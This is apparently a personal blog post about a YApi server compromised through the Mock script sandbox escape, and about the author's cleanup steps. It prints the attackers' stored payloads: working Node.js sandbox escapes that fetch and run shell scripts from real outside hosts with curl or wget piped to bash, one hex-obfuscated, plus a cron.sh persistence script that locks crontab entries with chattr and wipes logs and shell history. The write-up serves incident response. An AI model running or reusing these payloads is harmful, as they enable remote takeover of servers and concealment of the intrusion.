Today, I logged into my educational email for OPPO Mall's student certification, and when I went to verify my inbox, I found a bunch of strange bounce-back emails. Then I checked the sent items and discovered that a lot of advertisements had been sent from my account, which felt alarming.
I quickly scanned the sent items and found a message sent to some random email saying that YApi registration was successful. I have deployed a YApi on my public server, and I recalled that there seemed to be a YApi vulnerability recently.
So, I logged into YApi and indeed found a bunch of strange garbled accounts among the registered users.
It seems that the server is safe and sound, fortunately, I am running YApi with Docker.
Vulnerability Overview#
Let the professionals explain:
Yapi is an efficient, easy-to-use, and powerful API management platform designed to provide a more elegant interface management service for developers, product managers, and testers. It helps developers easily create, publish, and maintain APIs, and YApi also provides users with an excellent interactive experience, allowing developers to manage interfaces simply by using the data writing tools and straightforward click operations provided by the platform.
On July 8, 2021, a user posted information about an attack on GitHub. The attacker registered as a user and used the Mock feature to achieve remote command execution. The principle of command execution is that Node.js constructs a sandbox environment through
require('vm')
, and the attacker can change the context in which the sandbox environment runs through the prototype chain, thus achieving sandbox escape. By executingvm.runInNewContext("this.constructor.constructor('return process')()")
, one can obtain a process object.
-- 0x4qE@Known Creation Universe 404 Laboratory https://paper.seebug.org/1639/
I recommend everyone to take a look at the original text.
Alright, Let's Fix It#
This is my first time facing a vulnerability directly.
I looked at some solutions:
So the next step is to close the vulnerability and stop the damage.
Upgrade Version#
Update Yapi to the officially released version 1.9.3, which uses a more secure safeify module that can effectively prevent this vulnerability.
I am using https://github.com/fjc0k/docker-YApi,
docker-compose pull yapi-web \
&& docker-compose down \
&& docker-compose up -d
Disable YAPI User Registration Feature#
In the docker-compose.yml
, set the environment variable YAPI_CLOSE_REGISTER
to true.
Then restart the compose:
docker-compose restart
Delete Mock Scripts#
First, enter the Mongo container, then connect to the database and delete the existing mock scripts:
docker-compose exec yapi-mongo /bin/bash
mongo
# Database-related operations
> show dbs
> use yapi
> show tables
Then you can see the existing tables locally. You need to delete the mock scripts; first, check what Mock scripts are there:
> db.adv_mock.find()
# You will see a bunch of mock_script containing the word sandbox
{ "_id" : 10, "enable" : true, "interface_id" : 327, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami && echo 123456789\").toString()", "project_id" : 59, "uid" : "194", "up_time" : 1601333575, "__v" : 0 }
{ "_id" : 16, "enable" : true, "interface_id" : 332, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami && echo 123456789\").toString()", "project_id" : 67, "uid" : "201", "up_time" : 1601335228, "__v" : 0 }
{ "_id" : 76, "enable" : true, "interface_id" : 742, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()", "project_id" : 179, "uid" : "299", "up_time" : 1625730796, "__v" : 0 }
{ "_id" : 82, "enable" : true, "interface_id" : 772, "mock_script" : "\n const sandbox = this; // Get Context\n const ObjectConstructor = this.constructor; // Get Object constructor\n const FunctionConstructor = ObjectConstructor.constructor; // Get Function constructor\n const myfun = FunctionConstructor('return process'); // Construct a function to return the global variable process\n const process = myfun();\n mockJson = process.mainModule.require(\"child_process\").execSync(\"curl -L https://jhx15.zzlxrj.com/Uploads/image/goods/2021-06-07/start.sh | bash -s '46n4YeKAjUp2FcJnx8SFEb5CMK3kMRJ9o9MEuCzWtv2VEF5LYeq6TJKSWV3h4sEj4CQiUmsb2dNMEQcKJZJM8zCYFp7wFoy'\").toString()", "project_id" : 227, "uid" : "355", "up_time" : 1626338890, "__v" : 0 }
{ "_id" : 88, "enable" : true, "interface_id" : 787, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"curl http://47.98.198.11:8015/init.sh | bash\").toString()", "project_id" : 243, "uid" : "383", "up_time" : 1625989857, "__v" : 0 }
{ "_id" : 94, "enable" : true, "interface_id" : 792, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 251, "uid" : "390", "up_time" : 1625991205, "__v" : 0 }
{ "_id" : 100, "enable" : true, "interface_id" : 827, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 267, "uid" : "404", "up_time" : 1626096094, "__v" : 0 }
{ "_id" : 106, "enable" : true, "interface_id" : 832, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 275, "uid" : "411", "up_time" : 1626096134, "__v" : 0 }
{ "_id" : 124, "enable" : true, "interface_id" : 922, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nvar t = process[\"\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\"][\"\\x72\\x65\\x71\\x75\\x69\\x72\\x65\"](\"\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\")\r\nmockJson=t.execSync(\"wget -qO- http://47.98.198.11:8015/cron.sh | sh \").toString()", "project_id" : 315, "uid" : "425", "up_time" : 1626506262, "__v" : 0 }
{ "_id" : 130, "enable" : true, "interface_id" : 992, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo 123321vul\").toString()", "project_id" : 387, "uid" : "635", "up_time" : 1626766514, "__v" : 0 }
> db.adv_mock.deleteMany({"mock_script" : {$regex : "sandbox"}})
You can see that there are indeed many exploit scripts...
I opened one cron.sh
to take a look:
#!/bin/bash
crondir1='/var/spool/cron/'"$USER"
crondir2='/var/spool/cron/crontabs/'"$USER"
chmod 777 /usr/bin/chattr
chmod 777 /bin/chattr
unlock_cron()
{
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d
}
lock_cron()
{
chattr +ia ${crondir1}
chattr +ia ${crondir2}
chattr +ia /etc/cron.d/zabbix_client
}
rtdir="/etc/zabbix_flag"
echo 1 > ${rtdir}
if [ -f "$rtdir" ]
then
mv /tmp/zabbix_client /etc/zabbix_client
unlock_cron
cat ${crondir1} | grep -E -v "^#" | grep -q "zabbix_client" || echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1" >> ${crondir1}
cat ${crondir2} | grep -E -v "^#" | grep -q "zabbix_client" || echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1" >> ${crondir2}
cat /etc/cron.d/zabbix_client | grep -E -v "^#" | grep -q "zabbix_client" || echo "*/40 * * * * root /etc/zabbix_client >/dev/null 2>&1" >> /etc/cron.d/zabbix_client
cat /etc/crontab | grep -E -v "^#" | grep -q "zabbix_client" || echo "0 * * * * root /etc/zabbix_client >/dev/null 2>&1" >> /etc/crontab
crontab -l | grep -E -v "^#" | grep -q "zabbix_client" || (crontab -l ; echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1") | crontab -
lock_cron
chmod 777 /etc/zabbix_client
chattr +ia /etc/zabbix_client
else
unlock_cron
crontab -l | grep -E -v "^#" | grep -q "zabbix_client" || (crontab -l ; echo "*/30 * * * * /tmp/zabbix_client >/dev/null 2>&1") | crontab -
lock_cron
chmod 777 /tmp/zabbix_client
chattr +ia /tmp/zabbix_client
fi
iptables -A OUTPUT -p tcp -j ACCEPT
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
chmod 444 /usr/bin/chattr
chmod 444 /bin/chattr
rm /etc/zabbix_flag
rm cron.sh
I searched for what rabbix is: Real-time monitoring of IT components and services, such as networks, servers, VMs, applications, and the cloud.
But the benefit of using Docker became apparent~ stopping and restarting docker-compose, and all the exploits were gone...
Postscript#
I had seen news about this vulnerability a long time ago but didn't expect it to happen to me...
Looking at the records, someone registered a new YApi account on June 4th, and the damage control was too late~
Fortunately, it was a service running in a container, which did not cause significant losses.